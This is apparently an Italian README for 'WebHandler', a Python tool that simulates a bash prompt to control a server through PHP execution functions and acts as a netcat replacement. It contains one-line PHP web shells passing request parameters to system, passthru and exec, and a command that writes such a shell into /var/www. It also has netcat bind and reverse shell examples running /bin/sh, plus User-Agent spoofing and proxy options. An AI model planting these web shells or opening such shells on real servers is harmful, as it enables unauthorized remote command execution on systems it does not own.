
Simulatore Bash per controllare un server utilizzando le funzioni di sistema PHP.
Un handler per le funzioni di sistema di PHP e anche un'alternativa a 'netcat'
WebHandler tenta di simulare un 'prompt bash di Linux' per gestire ed elaborare:
- Funzioni di esecuzione di programmi PHP _(ad es. `system`, `passthru`, `exec`, ecc.)_
- Connessioni bind shell
- Connessioni reverse shell
Un'altra funzionalità è quella di falsificare il campo "User-Agent" nell'header HTTP. (--random-angent).
Supporta anche i proxy HTTP (--proxy http://<ip>:<port>)
WebHandler funziona per richieste POST e GET:
<?php system($_GET['cmd']); ?><?php passthru($_REQUEST['cmd']); ?><?php echo exec($_POST['cmd']); ?>WebHandler è un sostituto per le connessioni netcat.
Un esempio di connessione bind (ad es. nc -lvvp 1234 -e /bin/sh)
Normalmente l'utente farebbe:
netcat -l -p 1234nc -lvvp 1234Un esempio di connessione reverse (ad es. nc 127.0.0.1 4321 -e /bin/sh)
Normalmente l'utente farebbe:
netcat -l -p 4321nc -lvvp 4321--File di esempio:
echo '<?php system($_GET['cmd']); ?>' > /var/www/shell.php--url è un argomento obbligatorio quando si inviano richieste GET o POST (ad es. una connessione bind 'PHP basato sul web'):
python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=python webhandler.py --url http://www.mywebsite.com/shell.php --method POST --parameter cmdpython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --random-agent --turbopython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080--listen è un argomento obbligatorio quando si è in attesa di una connessione (ad es. una connessione reverse 'raw'):
python webhandler.py --listen 1234Se la versione del tuo Python è < 2.7.x, allora argparse è richiesto
Per installarlo esegui: sudo (apt-get|yum) install python-setuptools && sudo easy_install argparse OPPURE sudo pip --install argparse.
readline è opzionale. Questo modulo è usato per fornire funzionalità avanzate di editing della riga e cronologia.
git è opzionale. Questo consente di mantenere il progetto aggiornato.